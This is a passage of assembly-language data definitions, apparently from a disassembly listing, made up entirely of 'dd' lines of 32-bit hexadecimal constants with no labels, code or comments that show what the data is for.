		dd 29A57EAFh, 0CBAFF034h, 0A04C75C6h, 71537332h, 2C468920h
		dd 802B56BBh, 0CB2D7802h, 0A9183648h, 0AF4AB2A3h, 0E91EFE8Eh
		dd 2EA3DCDEh, 12F9E9DBh, 0F8DAD6E2h, 0C4605746h, 82553774h
		dd 0B4E94F20h, 0FE740C23h, 338EF2D3h, 989C3B63h, 77E460DBh
		dd 7C8747DFh, 4E168F75h, 0DE7960C8h, 43ABF11h, 0BAC829h
		dd 5CABC327h, 56CC5887h, 0BFF45FDDh, 0BFE3CCF6h, 0D315A0A1h
		dd 1DE4CFA4h, 34849CB4h, 0DFE60526h, 18F27825h,	9289BFCh
		dd 48CC48Bh, 276BB081h,	0F3AB2430h, 0A6357CC4h,	99741E2Fh
		dd 7424D5D8h, 3086A60Bh, 5C444DE4h, 0A783612Dh,	41C6D909h
		dd 525B4102h, 3C98EF91h, 58000C2Eh, 0C28B16D8h,	48A099BBh
		dd 0E888E05Dh, 97759CF3h, 0CCF19D0Fh, 3EB411ADh, 7F9AFB43h
		dd 2B44116h, 253229B9h,	0BF615F82h, 0CE026203h,	75B2ED84h
		dd 573DEA39h, 0D4F64F9Ah, 19817732h, 9C036B01h,	0F5007233h
		dd 8D4E5754h, 0D637ACB0h, 4DAC3FE0h, 68AF7CE5h,	196BDC34h
		dd 0C3FEBB9Eh, 1DAAE345h, 0DB58106Bh, 6E7AD7E8h, 3898F160h
		dd 4E09D815h, 5F8D7ED8h, 464DFB58h, 0FB32F0AEh,	0F42AF76Fh
		dd 0FE78DDC6h, 0E66F71FDh, 0BD484D3Ch, 0FBE6EC98h, 7DA31E96h
		dd 6C0153FCh, 9ACC1439h, 662A7BB3h, 9D02135Dh, 0EF6EB218h
		dd 0DBDA3312h, 78B37B55h, 0AC1ED1A9h, 70EA901Eh, 0CD1B72A1h
		dd 0B18CDB26h, 943DC449h, 0D34862CEh, 0CCDD53CFh, 0BC62F340h
		dd 7F621A45h, 1B8CB8E1h, 0CC5A6D6Dh, 730E0AB3h,	22D0B6F2h
		dd 0FBE86414h, 6D1BB1D6h, 1242A3CFh, 0A9C8B398h, 0F23C5C38h
		dd 29E4F817h, 74474B64h, 0EA64ED74h, 0A0521846h, 766493D8h
		dd 0D12A4A8Eh, 8D2CC9EEh, 1C7DA6DCh, 0E55491BCh, 48CE68E9h
		dd 967BA4E1h, 0B72E7CB5h, 0A5D8D35Bh, 0A22DC922h, 0DE79CFC6h
		dd 4BA28A5Dh, 9D1F68C8h, 55E543EFh, 0EE85CE0h, 0CABF1C11h
		dd 0A8B9FB7Eh, 0B25FDAD8h, 832AE74h, 2880AD9Fh,	0C619952Ch
		dd 78B79387h, 28E92431h, 8B383650h, 8DE303C5h, 0A8939B7Bh
		dd 0CF7C6012h, 980F306Fh, 638CA4CAh, 0FED19A76h, 91139B36h
		dd 6ADDE083h, 808C2248h, 4CB3BD53h, 7B5966E0h, 0CBCDF96h
		dd 74466AF3h, 3A2D985Ah, 0A363F423h, 81C047EEh,	0EBB93F3Dh
		dd 7236DE63h, 0E0B43DEFh
		dd 2C55D5C3h, 2FFC4A7Fh, 1BEE8CA2h, 0CAC3FD87h,	0D473DF5Fh
		dd 8CAEDEF2h, 0D10C5CDCh, 0B14971B4h, 53D523C1h, 9B871DA6h
		dd 9444B10Bh, 1D71A6B6h, 617DC523h, 759E19CEh, 475B8AF1h
		dd 0D202D9F7h, 20F4677Bh, 18B0672Dh, 7557355Bh,	0BC4B4AB8h
		dd 824070DCh, 0CDE7819Eh, 0D188F7FEh, 39C5F9D3h, 8AC2CF9Ah
		dd 0C6566BE7h, 362BB0C0h, 29C5EF83h, 2C4314FFh,	581F837h
		dd 68FCC1D6h, 12A555DFh, 0B6FBC165h, 0C10CDF33h, 4559CFD1h
		dd 83B65B92h, 0FDA703CEh, 59C06381h, 4FDF0F54h,	7FCF3A34h
		dd 324C327Ah, 3C995C93h, 9D1194B0h, 218FBFEh, 299C35AFh
		dd 14DF628Ch, 22310AA8h, 0AE0984E1h, 8B0323F7h,	97536D4Fh
		dd 38F9F99Dh, 0D809AC06h, 80EADC8Fh, 0F945580Dh, 2336A3CBh
		dd 0D328675Fh, 708F44E1h, 0C57DE53Bh, 0D706B7D7h, 3D6D443Ch
		dd 0CA673BDh, 292C9FACh, 0B7DAE3C6h, 0DC7574ABh, 834E8B80h
		dd 3883B51Ch, 0F4847A34h, 2FC757A7h, 0B14B4F22h, 8E554C43h
		dd 0B8B81D03h, 0F1EBD3ACh, 0DC2C72B6h, 0A6786A5h, 0F6CDF803h
		dd 77C40F46h, 0FFB0478Bh, 17D6FBA1h, 6C0F4FEh, 9666A304h
		dd 3A4855EFh, 0A448889Bh, 0F345F061h, 0E222BF50h, 2BE1DCB2h
		dd 0B09BA793h, 0CA1E281Fh, 0A8428ABh, 0CFE98DFDh, 41391157h
		dd 0A63D0E06h, 3CD23EC6h, 0E282DF21h, 4188883Dh, 6DFAC050h
		dd 416F8C43h, 0AC3339F5h, 0DFDCA8E8h, 9E81A4CEh, 409E5FEEh
		dd 0AADE1071h, 0B15EC606h, 5D954F22h, 48F33A3h,	3D779727h
		dd 71551781h, 4119C9AFh, 0CB1B1E4Eh, 95785B9h, 8494EF4Ch
		dd 0C419AC5Ch, 1509E9FEh, 0FD1EC621h, 0FEF481B2h, 0E901DAh
		dd 851BA3A2h, 9E8E7DF1h, 0DCAD8F14h, 0B86FB154h, 8BD3CA7Eh
		dd 9482211Ah, 0C925879Eh, 0C31C737h, 1FFBAA2Ch,	7895F5CCh
		dd 3E6C553Dh, 9BB39F1Eh, 0CF51FE79h, 0A6EAB4ADh, 308BF564h
		dd 0A32308A2h, 0B23AFC7Bh, 17FBD014h, 3FCD7CC7h, 36C94634h
		dd 935537Eh, 863002F6h,	0D84582AFh, 29437D71h, 48C4B1ECh
		dd 95A2EE78h, 0ED1B23C6h, 53653F9Ah, 0F703F0F3h, 260201Bh
		dd 74CCC630h, 2B20E3F7h, 9F02F33Fh, 1A8F9D57h, 0B46E2182h
		dd 48BA71F3h, 70722744h, 7F404D44h, 0EF4C2142h,	672E7BA4h
		dd 0DED5E72Eh, 0A51F5384h, 0CA6F1CF9h, 0E446DB85h, 761765B0h
		dd 0C15B6146h, 333C78F0h, 28A5761Fh, 14799E5Eh,	0D495D7Bh
		dd 0FA42E9E0h, 1858A7C4h, 6521C530h, 0ACD57320h, 6ABE8DDh
		dd 0D3AD170Ch, 93D7C915h, 767CF614h, 10DEB6A0h,	9652F58Dh
		dd 0E730760Ah, 32A2192Eh, 84789A75h, 4450C70Eh,	0AC2CEF2Dh
		dd 1361A9C9h, 652307E3h, 0F0155142h, 0FD7B82B5h, 0DE58AE4Dh
		dd 0EA9AAC29h, 283D2DCAh, 0CE670B93h, 902C8DECh, 2259FFFEh
		dd 1765A548h, 2B08A1h, 9F81635Bh, 85E071D1h, 0C17BCFE5h
		dd 1F0A794Dh, 10B9F60Ah, 15363119h, 31D0C09h, 88A83218h
		dd 9D9A7FFCh, 911FF8B7h, 4EDB5798h, 679F43BDh, 0B3FCA323h
		dd 648CEC76h, 91A92BA0h, 0BFE9D5D8h, 8F2DF932h,	0DFF0082Dh
		dd 3F378A9Fh, 0CA57B065h, 1B53D777h, 4CCBF30Bh,	0A0C714CEh
		dd 0A0597E94h, 0EE1126F5h, 0A31FF7B1h, 8B14CE60h, 0F4B10CF6h
		dd 0C5B5EECFh, 0D2E8BF4Fh, 0EE8E81C1h, 0C135A933h, 3CCF9F52h
		dd 55F6CC62h, 810CFC23h, 580C7B57h, 50312B2Dh, 81504F4Bh
		dd 7277D1C9h, 0DAABD0DDh, 0D385EDA3h, 212590B9h, 40158998h
		dd 6D36E8F2h, 0F106540h, 0A7703F7Fh, 3ED09596h,	0D0303585h
		dd 7A6DB30Ch, 0EAA44AE6h, 122A297Eh, 0ED75DABh,	52B9C8BFh
		dd 0ECED810h, 0F3D00845h, 6CAEBE9h, 152C4EA1h, 2BF5B71Dh
		dd 14842F6h, 0C5E9DAE0h, 5C822BDh, 0FB1DC6EBh, 39FE2E33h
		dd 8F1D0D06h, 9E0DAA2Ah, 2789619Fh, 5CBC5585h, 0EF5EA36h
		dd 86E221F6h, 6976AB81h, 7815F5A3h, 301D8FDAh, 196D56C4h
		dd 51F385D3h, 0B83B96C8h, 4461195Ch, 9950C3E9h,	60ED723Dh
		dd 5190239Ah, 0C2AE9AC1h, 4B603892h, 0D04D1B9h,	6EDD5416h
		dd 0E98E866Ch, 6B0D85h,	5B56D7B5h, 9C2BD4B1h, 0E0100A5Eh
		dd 15C4810Bh, 0EA19D710h, 36FB3F06h, 0FDB27A4Eh, 0D16D9708h
		dd 691051B3h, 98CE2E3Ah, 1FDCCBAEh, 14B9AD0Eh, 6BF93556h
		dd 9FD62EE6h, 0C3DFD6FAh, 5A7B21D7h, 9CFAF022h,	5F9500B4h
		dd 0B90C2263h, 22BC75Ch, 764F798Bh, 50D43C5h, 9FF818C4h
		dd 0BACB9392h, 14C23E05h, 29BDEB17h, 0DF671E54h, 2729F23Bh
		dd 1E96213Bh, 9E3661FCh, 0B46B5681h, 178AD075h,	0D5EF680Bh
		dd 0E646DEF9h, 9ED54308h, 6B595106h, 25EDCA26h,	0E6D865F0h
		dd 5FE5D252h, 57947579h, 1E2B9DF1h, 0BE34CC9Fh,	0D9AD137Ch
		dd 0B24A8945h, 588EF551h, 7D0B5F20h, 0A83A7545h, 7009E486h
		dd 9331D02Eh, 56AFD0B7h, 28678B72h, 0A42864C6h,	0CE19D99Eh
		dd 85A9954Fh, 46FFC698h, 0A49CD51Fh, 0A22FF1FEh, 0B0CA7F86h
		dd 50CF048Bh, 0F4CDA7A5h, 53F64FC1h, 86B65987h,	6618C338h
		dd 5BDF816h, 8D2425FCh,	0EEC6B06Dh, 5ACBCC9Ch, 0F0503A50h
		dd 0E20D9100h, 0EB2801FFh, 0EC919A57h, 8E4866AEh, 806C6276h
		dd 0DB4B5A50h, 0C0E994BCh, 6507033Bh, 5593B0F2h, 82A876Bh
		dd 4C66CA7Bh, 0DC1C364Bh, 937DF632h, 48AAA527h,	6A539836h
		dd 0BC9E1896h, 3EA3ACBh, 6AC017F8h, 82CCAB70h, 0B4A9731Ah
		dd 0D33CCD03h, 5E908F58h, 968CA4DFh, 19209ACDh,	81A80F28h
		dd 0FA028B1Ah, 0FA28202Ah, 5A6FA01Ah, 4D5A1398h, 82CE890Eh
		dd 4C861A9Ah, 0A06E5730h, 0F04E52BAh, 0E204427Bh, 0FD1FB450h
		dd 6F77FA89h, 532C1636h, 0DFFC30DDh, 0BCF9E74Dh, 4E80AB75h
		dd 7370ED80h, 0FC030BE1h, 3E7F988Ah, 67C7B10Ch,	6F6AA6F5h
		dd 0DCEE5D3Dh, 0D90EF1F5h, 7751604Eh, 2F1F0401h, 0EE2318B3h
		dd 7CAEBA0Eh, 7710819h,	0B2AEEB54h, 4967AAAFh, 39117569h
		dd 0FF50A4D9h, 35ED35D3h, 48F36D9Eh, 403B73C4h,	38EDB1FCh
		dd 967CF514h, 0FCB53621h, 446A1843h, 297E8CE6h,	63F443E3h
		dd 59E5030Ch, 9FAC659Dh, 0BA9CA7E0h, 5FF079B2h,	30B45B53h
		dd 3E677E7h, 0D0DD2E3Fh, 2371961Bh, 240A8232h, 6ED02756h
		dd 0BEF98E94h, 0F8B380A6h, 0C64E3F44h, 63268136h, 435EEDCFh
		dd 0ADE0EDE5h, 0A3DB2EBBh, 0C8951AA4h, 78240880h, 408F4A26h
		dd 3CDAAB5Ch, 0AC62DB9h, 0A0B33A60h, 2DCE7E74h,	643EDF9Ch
		dd 2CCE429Ah, 0CD479014h, 6EA4C6B2h, 7B574DDFh,	5EE6AACAh
		dd 2B48D21Fh, 0BD988DBCh, 0E25936A1h, 0E958B611h, 5EF79EAh
		dd 162E663Fh, 62B1532Fh, 0F87AFD7Ah, 4D89C8FFh,	8135708Dh
		dd 0DB2E277Eh, 0EE19F137h, 4AD06A24h, 3CE38067h, 46046BDh
		dd 0A5A84A52h, 916959B7h, 29C5C3B5h, 0B9F7DA0Ch, 8A161C9h
		dd 4AA4F188h, 2CD81456h, 0B706A968h, 0EE06AB04h, 569F6983h
		dd 4AE0F6E8h, 40F2872Dh, 0C33D953Fh, 8D3D00F4h,	8D1C48EBh
		dd 9D45EDC1h, 0E6301421h, 12DDDC06h, 246D8EE5h,	0EC5F386Ch
		dd 0B1454F24h, 0A7F01D4Ch, 796A99CCh, 60E5EF37h, 4CE70324h
		dd 3D1CF621h, 0A64498CFh, 127A3F6Ch, 3224D2BDh,	0B14992EFh
		dd 112EFE6Eh, 2C8E0A40h, 0A07DF58Ah, 1D840A3Eh,	2DA06BCFh
		dd 0E4930C9Ch, 5DDCE2FEh, 1DF2C2EBh, 0FC41B878h, 85B745AFh
		dd 0A10F9C84h, 0F94C4446h, 42CAF008h, 2C414128h, 8C81202Dh
		dd 0D1FD08Fh, 802FC4B8h, 0DAF6158Fh, 7CEBB069h,	68B58D05h
		dd 0BA2C260Fh, 0CF8072DEh, 0B3AEB583h, 0E87BAF94h, 52C8F046h
		dd 871E9BAEh, 0B70E8816h
		dd 8BBCFAA9h, 7A4DFDD2h, 0BDF757FCh, 0B9881859h, 92B2E3DFh
		dd 0E5A3A3FBh, 0A7883842h, 0B478783Eh, 553A6F4Eh, 17CD21A6h
		dd 0B0401CCh, 5C923EA9h, 73F1AAB5h, 0B74F8386h,	1661EBDBh
		dd 0AABBE0C6h, 9B71881h, 57071041h, 0E7D82BBFh,	0D93090B5h
		dd 44E54C20h, 0EAF390F1h, 0B1C42EC5h, 0D9FE391Dh, 0FA824C31h
		dd 0BF1209F2h, 59C74BC6h, 0A6782DD3h, 0F59672B4h, 27D44EB0h
		dd 5CC914FEh, 0A9EB3EE4h, 0D87D088Ah, 809012E3h, 9A5F0C54h
		dd 0A771FEBh, 2BACCB14h, 3AFBEAE9h, 9DC81E3Ah, 3A66D537h
		dd 0AB1E5B7Ch, 0F477E7DAh, 64A185C5h, 0CA79A0D9h, 736454BAh
		dd 9F70EA25h, 601EE363h, 0D38F3760h, 139F3FEAh,	0F3CB5B9Dh
		dd 55E156C0h, 0D56EB52Ch, 7CDD37A6h, 46526D0h, 0F93A3445h
		dd 0C96E2E34h, 73C9A199h, 832A95Fh, 429384F7h, 8AC889F5h
		dd 6B259BDFh, 3A222817h, 7DEA37A6h, 3C2D0E7Eh, 0C73E733Fh
		dd 73E7ED6Bh, 7E74CE41h, 3AC61720h, 0F5879A61h,	80193A11h
		dd 0DE56B8B2h, 7E9FFD6Ah, 0A875C481h, 0F9A90F60h, 89D1CAF8h
		dd 0F54199BDh, 1C89AFC3h, 6E01B420h, 113E9F38h,	66D57EA3h
		dd 257FB15h, 1185100Ah,	807725E1h, 0B0E70786h, 0C55CBD9Fh
		dd 0C320EC88h, 215B5444h, 0F98C149Bh, 6E455D63h, 8C9215DEh
		dd 51C59AC9h, 14BA8972h, 9C0D96EDh, 0E8A1BAA1h,	2E5F4CCh
		dd 8866A30Ch, 63064094h, 4EBA926Eh, 63668A6Eh, 84D1DF81h
		dd 0FA5621C3h, 60E0842Ah, 47B9F63Ah, 4F153DA5h,	51F7AF98h
		dd 0D92EC0F0h, 4C9C2B31h, 9DD2CFB2h, 0A7388A4Ah, 51C204CFh
		dd 1632443Fh, 35F6BC2Bh, 37970A2h, 823A7B35h, 0CBE06A66h
		dd 45E8DB4Dh, 7DD63C7Bh, 28337D35h, 0C1DB3A93h,	52AD3DF5h
		dd 6148158Ch, 5C93FD3Eh, 0BED86F47h, 492772C5h,	0CCD98164h
		dd 264C35F2h, 0F7BBC0F4h, 7CCBAD0Ah, 1304ADBFh,	2D91E5Ch
		dd 0BDD788B6h, 2CBF299Ch, 10B4834h, 0C94596CDh,	40C48DC0h
		dd 91466C38h, 0DD812145h, 7D366606h, 0C5E37F3h,	77975B88h
		dd 9CED6B89h, 516612F6h, 0A063A43Bh, 0A02FA4E2h, 0AD22B74Ch
		dd 326F1285h, 7F742008h, 115164CCh, 6712DEFFh, 0EAD5210Ch
		dd 0D0BDD5ECh, 0CCD27301h, 23719D68h, 0A54745FEh, 0FAAA56BBh
		dd 0D766D4DFh, 0E5342EA7h, 18AD3718h, 3C61D032h, 7E27C802h
		dd 392D1A2h, 607B47CEh,	910CDBA3h, 692BE583h, 9FCC5D88h
		dd 0FBC92607h, 0B2C8122h, 0D94D541Ch, 8D7847EEh, 0BF402CF3h
		dd 52126CF1h, 0A71CE37Bh, 8F1A2E8h, 0B7A0CBC7h,	0D9294371h
		dd 0D53D87E4h, 0CD9B5D8Bh, 22F8204Ah, 80C6E60Ah, 2706759Bh
		dd 0F564F7B3h, 408E1A56h, 5B1D32DEh, 0EF78C5CDh, 0F54D1208h
		dd 0DF3E4796h, 87E484Fh, 8BAD30A6h, 2169BCF4h, 873986D4h
		dd 8C34517Eh, 50D06B99h, 0FAF18C77h, 9FBAA67Ch,	8B2CACE5h
		dd 0E2C71372h, 76A9C06Bh, 0A548FEAFh, 0D6331AEh, 1869F5Fh
		dd 7C89D125h, 161EB75Dh, 0CC26FBF8h, 18AA1353h,	0D348070Ch
		dd 0F02BB5BDh, 444A0A5h, 0E79917B0h, 229E462h, 1FB366D7h
		dd 52B74422h, 0FE7E1026h, 0D0111766h, 4ADCCCEAh, 0D2832AD5h
		dd 1149E252h, 2895E57Ch, 0F191C1CFh, 11627C4Eh,	5DA20CA0h
		dd 56E0D1BDh, 0E958A63Dh, 0C452076Fh, 98E6896Ah, 32247EECh
		dd 0D6A20040h, 0F308589Ah, 0A907415h, 8D9E0574h, 0DD63D8CAh
		dd 0F0423B87h, 0E9529536h, 67D3C7AAh, 4088F8E8h, 0C16FDD6Ah
		dd 81DCC7C4h, 89E0DCE1h, 7B87C3A3h, 6CD92EDDh, 3A4E98E9h
		dd 0E022CD97h, 0CF7B1D6Ch, 9D510729h, 0F30A82C9h, 41C4A139h
		dd 137705EFh, 0AD7BA263h, 2541FA1Ch, 0F8AE4602h, 8212B7F2h
		dd 7E264BB9h, 6F383654h, 3945867Bh, 0C0F53A8Ah,	63B09265h
		dd 0C325B3C1h, 3CBFA3FBh, 6F78673Ah, 0B9EA2946h, 534A8E5h
		dd 0C1FE513Fh, 4A474C13h, 0D03EA272h, 0BA5F4934h, 230EFBA9h
		dd 0AB9B20B2h, 2DBB5BF4h, 6CB44742h, 0A7C2A2A2h, 435C7C97h
		dd 2764F12Dh, 140145E4h, 2BCD29B2h, 5033C0A4h, 0D3A0E415h
		dd 59EB5523h, 0C2DACBE7h, 0F7C30F77h, 0DFE96559h, 21F5F516h
		dd 539C2745h, 0FB3CF61Bh, 0D9135429h, 0ADD505CCh, 0BC9A538Bh
		dd 562C654Eh, 0D6D1B7F3h, 2A0BC949h, 0B7943E08h, 6D803C93h
		dd 8739D491h, 0BD38AB45h, 0F1D31D37h, 80ACB8F7h, 0EE5F544Bh
		dd 108DBDAEh, 0C4991A83h, 0D7A1B467h, 91137C7Ah, 0C883A26Eh
		dd 0EE442B5Dh, 412CB70h, 0DF96BDC7h, 34AA5667h,	85403C93h
		dd 8C29F56Eh, 90A10FB4h, 0EA26BDBCh, 0E07A71E6h, 0DD67EB0Dh
		dd 96DB3864h, 0A64667BDh, 0C33AC3A2h, 0EBCDF60Ah, 8706B402h
		dd 5D2DC79h, 56277571h,	96847F17h, 0EFC334F2h, 2CBE1A8Eh
		dd 0A7A27A13h, 0BE9073CBh, 0E20C3835h, 4A053457h, 0BA0EE12Ah
		dd 27514DE7h, 7B9F0B71h, 7536CC26h, 0B9176C9Dh,	0EE79ACECh
		dd 6E9C0391h, 4CC0CCF0h, 2BB8D32Fh, 0F2845004h,	592C3365h
		dd 55775052h, 710908A8h, 4509C012h, 0B2B324ABh,	0C461D61Ch
		dd 5DF021A5h, 0F448156h, 0CEDBCC81h, 5D83A697h,	0A0BD7D14h
		dd 0BB76D41h, 0A764F198h, 0E313FB5Ch, 0BEDFF6B3h, 0AEEA4128h
		dd 0F8804168h, 0C6494AC7h, 30C747FDh, 0DE0C9AFFh, 0C164BE90h
		dd 0DAB8E4F2h, 4D3807ACh, 0E69112C3h, 9E9D78C4h, 0E0E4D12Eh
		dd 17A1B276h, 659C4311h, 7607F5D3h, 81CB5C3Fh, 0A2E7BECFh
		dd 28062D5Bh, 0F54E7519h, 0EAFBAEFFh, 4EBA6888h, 3A6A9DEh
		dd 0E93B2FBAh, 931C22E5h, 0CA63DC37h, 0A017BB29h, 0FD82829Bh
		dd 7D3B7FB8h, 0F9A84537h, 5266C1BDh, 14090CD0h,	58B2AA9Ah
		dd 0E44E2843h, 7B7CA9D1h, 0E4012DB0h, 5FB747C4h, 3B75B69Ch
		dd 413A5C8Eh, 7A2FBA15h, 0ED82F0BEh, 381E5B49h,	54B9C995h
		dd 3472D52Eh, 38E72C55h, 0F4814CF9h, 31B3AEA3h,	0A13E7457h
		dd 6AC89B3Ah, 598C0A35h, 35050FBAh, 3BBFAD79h, 136184ADh
		dd 6719C645h, 7FA9EB7Dh, 8058E9E8h, 0DA5467B8h,	630492D6h
		dd 4B9BA096h, 0F96C9F46h, 5D70EA25h, 0B33E0925h, 3624F506h
		dd 0AE7DB391h, 0F8AAFC35h, 85D0794Ah, 0C7AD6A97h, 24EC4EB0h
		dd 89FDFF2Ch, 6449DA89h, 0C09C451Fh, 0F3D5248Ch, 0A5CF1912h
		dd 34E4FABBh, 0D38F5D66h, 375B0160h, 0D0A07A4Bh, 1F6B9D3Eh
		dd 54ED8EA3h, 5BC802BCh, 5493809Fh, 39873602h, 0F68F7E47h
		dd 987E91Ah, 0F6F00B72h, 0BDB3FB85h, 6B1C488Bh,	5767EFB0h
		dd 6A6D2B62h, 0BF7193Fh, 8375ACDEh, 924C501Fh, 7B972380h
		dd 0BA611F81h, 0F343C5C4h, 0F2648A44h, 3C323BE2h, 31012BD3h
		dd 1D31CD18h, 9BDDE485h, 0D37C1309h, 0CEDB271Bh, 0E9A6A151h
		dd 3229479h, 0E54832CDh, 690EBCDBh, 86F73816h, 0A2099B13h
		dd 76AA5D1Bh, 4678B60Eh, 0B54DB9CAh, 0CADB2E76h, 2E9910F9h
		dd 0ED6836FCh, 2656C4B2h, 0E31671A7h, 0C5C36E33h, 4FE50676h
		dd 0EB19385Bh, 0E1897052h, 0BEC76C5Bh, 8A697786h, 1A635D29h
		dd 8DACD2B0h, 0D52C243Bh, 7CF4BED3h, 40E24125h,	68CA85A5h
		dd 0F13AEA8Ch, 72AE99F2h, 787ECB1Bh, 1FD34ABEh,	12AD603h
		dd 690BEBCh, 746CF634h,	5FBB1FE1h, 7D8F98ADh, 4E8B8FB1h
		dd 324A8EA4h, 0D567D287h, 771FED20h, 0DACE581h,	0BB195D9Fh
		dd 1ECD66E7h, 0EC5BF14Eh, 0E6D999EFh, 39EFBD43h, 71E3B20Ah
		dd 22ED318Ch, 63D4C27h,	242919D8h, 938035F0h, 31C8020Fh
		dd 4CC4F9A9h, 0B168C3F8h, 0CE4F5915h, 0EC964D22h, 31B315EFh
		dd 19287030h, 913922B5h, 74FE18FAh, 92E6F139h, 0F552E2D7h
		dd 2A4ACC3Fh, 0C0E42E02h
		dd 0D86E8854h, 0E6D92B07h, 0B7393721h, 5061A911h, 7A12CF89h
		dd 0EDE637BEh, 2370FA0Bh, 0B87DD1E0h, 9BF35DB0h, 0BAFE9BEh
		dd 0F5ABEE19h, 9033EE00h, 729C35E8h, 0A71E9470h, 0A9898FB1h
		dd 957D2A68h, 5A1FED6Bh, 867E2008h, 1DD78EECh, 0E8D08CFDh
		dd 0B5D3DE75h, 3C36E0E7h, 2920A3D6h, 5F124834h,	14CD0544h
		dd 266355C9h, 734620E6h, 36D8015Eh, 354FA034h, 0B1B538EFh
		dd 0A0246135h, 0DCFC869Eh, 5AEA797Fh, 7396B057h, 378B89E8h
		dd 19FC7471h, 909B0FCFh, 0C157FA6h, 4CD0F864h, 627864E1h
		dd 2FD58BF7h, 4B1EFE5Ch, 0D7DD288Ah, 8CBE560Bh,	6653C632h
		dd 767C0595h, 47517319h, 1B826661h, 9C393F00h, 35FE2A37h
		dd 3C914A3Ah, 8F2576AEh, 63592E18h, 9EEDABA6h, 0EBDDA480h
		dd 0D6793E7Eh, 43B68F13h, 0C04A731Dh, 67F5BC99h, 0B7362CD1h
		dd 5C76E2DFh, 0B5473367h, 70C17DBDh, 505D655Fh,	0D75FD7B5h
		dd 0AA955491h, 0F7E10CB3h, 0C650035h, 461E2F8Ch, 62CD554h
		dd 0EE2F80D1h, 816BCB07h, 5191E8ADh, 0C57B747Dh, 1ED0FAB6h
		dd 0B51BB698h, 863F2F2Eh, 0E2301AEDh, 0FBCE5Eh,	5DEDF986h
		dd 49C46E88h, 98A71EBCh, 561BD6DDh, 0D95BA339h,	41329BBBh
		dd 0FE95F575h, 24C1323Ch, 6C12E6Eh, 9ECDAD23h, 501D383Ah
		dd 44D3439h, 50840589h,	0E46221E2h, 0F75E61Ah, 0C73D7D2Eh
		dd 28A45A5h, 1B8C684Ch,	8005000h, 9FAC802h, 75A15A40h
		dd 0C03109CFh, 0F31109CEh, 295F432Fh, 11A2ABA1h, 8FC2D907h
		dd 12B13D37h, 0ECD031D9h, 620AB5E1h, 5667E838h,	0F29F7A4h
		dd 0DE37B3D6h, 4690F372h, 1314438Fh, 3C99F395h,	997B50D7h
		dd 0FE012B85h, 443AD888h, 0A6FDE095h, 27950C5Dh, 0B7B077B7h
		dd 7D8DE5FBh, 0C05AFF1h, 5E87339Eh, 0E6CE7CEDh,	0FE5BB5A8h
		dd 2B0B5CCh, 1F4535AAh,	0A49AAD3Fh, 32A612EAh, 0D696DF65h
		dd 4169989Dh, 8A1638EEh, 7EEC6D43h, 0AAA218AFh,	38E66374h
		dd 0FA6836F6h, 0A148BB58h, 0BD723A39h, 8F6BD5FDh, 81C91D16h
		dd 0D0FB6C13h, 66C5FD7Fh, 0FE35339Fh, 101B9F61h, 7DE45A2Eh
		dd 2FA946CAh, 0F16940D9h, 9279B406h, 783B94CFh,	1B56BE72h
		dd 63CFA8F6h, 91FC685Ch, 0D7C90BDh, 95291F3Fh, 0AA10E6FAh
		dd 13CF7F2Fh, 3FF74B5Eh, 4B4DB03Ch, 0E7450712h,	16AE77C6h
		dd 89BAACC0h, 33F85558h, 3E8C6B73h, 6DD962D4h, 51F210AEh
		dd 0F7087277h, 713C80Ch, 6DE0370Ah, 0BB02F89Bh,	4DB85F1h
		dd 29CD7D5Dh, 0EBD6086Ch, 0F5A56863h, 0AF373C9Dh, 27EBEC82h
		dd 0B792710Ah, 73FC22C9h, 2A0735Ch, 46A22693h, 39F91488h
		dd 71A47EF6h, 625E64DEh, 5CE943C3h, 790224Dh, 8C990A83h
		dd 232F36DBh, 2B286245h, 0B721CA2Eh, 3C096EFFh,	146D0220h
		dd 0D1C64BABh, 8ED4305Dh, 921A6CADh, 0DFF81F37h, 0BEED07D0h
		dd 0DC189728h, 0E5A7ABA2h, 72EA1AB8h, 0B5EED5F9h, 57007ED3h
		dd 296967BBh, 6DAE6E5Fh, 559D9869h, 26B84476h, 0CA0A24D1h
		dd 0DD689D21h, 0E1AB9026h, 0B102B9Ah, 5FF8F0F0h, 817C5405h
		dd 44479095h, 85A977C2h, 30A67EA5h, 0EEA011DBh,	0CD7B16F3h
		dd 3F224CBCh, 51470B61h, 0C9B301F0h, 0ECD881A1h, 9864440Eh
		dd 0B9FE9E73h, 0FB99BFD8h, 29ED820Ch, 88B5A924h, 414A7DA8h
		dd 84032F2Ah, 353188B6h, 0B0713499h, 5C840626h,	242EE7E5h
		dd 0BE1AC231h, 34617431h, 4B1623C2h, 752217F8h,	9D2F2AC7h
		dd 761874B9h, 0F10D201h, 7F920730h, 7F66A6CFh, 9F9EA693h
		dd 5EBA0F00h, 28850323h, 6FCB04DCh, 2FC93AAFh, 33A08BB9h
		dd 7D22E66Ch, 574763BEh, 715F229Eh, 7DE68D84h, 81AD619Bh
		dd 2EB4F422h, 7C74A3FCh, 45ADAD1Fh, 738A2129h, 416F7E96h
		dd 8458801Fh, 5788EC3Ah, 1EEFC45Ch, 2A61B120h, 8BC3CE12h
		dd 268F4A27h, 3A0C943Eh, 896608B5h, 0F19F7FD5h,	0EFDBAF15h
		dd 4209B50Dh, 0FB946D16h, 0A4E88511h, 8D3EFA89h, 0FCEE7C9Fh
		dd 0AE85BB33h, 0AE594647h, 4B2CE632h, 0E363568Fh, 0C9749837h
		dd 13AC30DCh, 630B263Fh, 842F284Bh, 0A42CE20h, 3BD25498h
		dd 13DC1A02h, 121D028Ah, 32D81E89h, 1F538431h, 0A77A862h
		dd 218B010Dh, 0B93BA63Dh, 0C3CA7258h, 91B877FDh, 0CC2B3581h
		dd 2A6A0044h, 851D7B4Ch, 0F1F44A46h, 0C67B422Eh, 0DF4F1BF2h
		dd 0A99C06F6h, 6FEC9E04h, 8628CFC9h, 99B2BDAEh,	0C083D0h
		dd 1E78EC9Ch, 6803C7F9h, 8CF7B52h, 0D6A76BC6h, 6F45395Ah
		dd 5C6F3D77h, 0EE0C2C04h, 7ED74248h, 0CEBD278Eh, 9D0829C6h
		dd 23377807h, 30C17508h, 0DD693FE0h, 0BFCE63Bh,	4DA85640h
		dd 0CAE6358Ah, 97617D13h, 732B1CA8h, 0FF1D7DCFh, 0CDB38C23h
		dd 0A1CEA71Eh, 0F28DE42Eh, 668DE95Eh, 0C95DDA50h, 74B2433Dh
		dd 27B4B29Ch, 0FBB61094h, 15A4B14Eh, 0BA4ADF47h, 45D4352Fh
		dd 0A61A3B71h, 0D1F0DED6h, 0C5757AE1h, 0DBD4E39Ch, 94BF4522h
